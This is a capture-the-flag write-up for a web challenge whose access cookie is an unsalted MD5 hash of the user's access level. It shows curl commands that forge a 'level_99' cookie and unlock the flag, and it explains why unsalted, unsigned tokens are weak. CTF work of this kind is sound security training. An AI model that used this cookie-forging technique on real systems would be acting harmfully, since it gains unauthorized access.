Challenge Description#

A document storage system using hash-based authentication. Users are given a scsc_auth cookie that determines their access level. Default access is “level_1”, but the secret document requires “level_99”.

Initial Reconnaissance#

1
$ curl -v http://sriwijayasecuritysociety.com:8003/ 2>&1 | grep -i cookie
2
< Set-Cookie: scsc_auth=c98a679441798bdb9c194f9ca471e6cd

The cookie looks like an MD5 hash (32 hex characters).

Analysis#

Let’s verify if it’s MD5 of the access level:

1
$ echo -n "level_1" | md5sum
2
c98a679441798bdb9c194f9ca471e6cd  -

Confirmed! The cookie is simply MD5("level_1").

Vulnerability#

The authentication mechanism has critical flaws:

1. No server-side session management

2. No secret key or salt in the hash

3. No signature verification (HMAC)

4. The “secret” is just an unsalted MD5 hash that anyone can compute

Exploitation#

Generate the MD5 hash for level_99:

1
$ echo -n "level_99" | md5sum
2
9a22a3d174f06065a7dc2769f16fc738  -

Access the vault with forged token:

1
$ curl -s -b "scsc_auth=9a22a3d174f06065a7dc2769f16fc738" \
2
    http://sriwijayasecuritysociety.com:8003/index.php

Response#

1
<div class="file-item">
2
    <span>Top_Secret_Flag.txt</span>
3
    <span class="unlocked">SCSC26{kUE_r4h4s14_bU4t_4ks3s_L3v3L_d3w4}</span>
4
</div>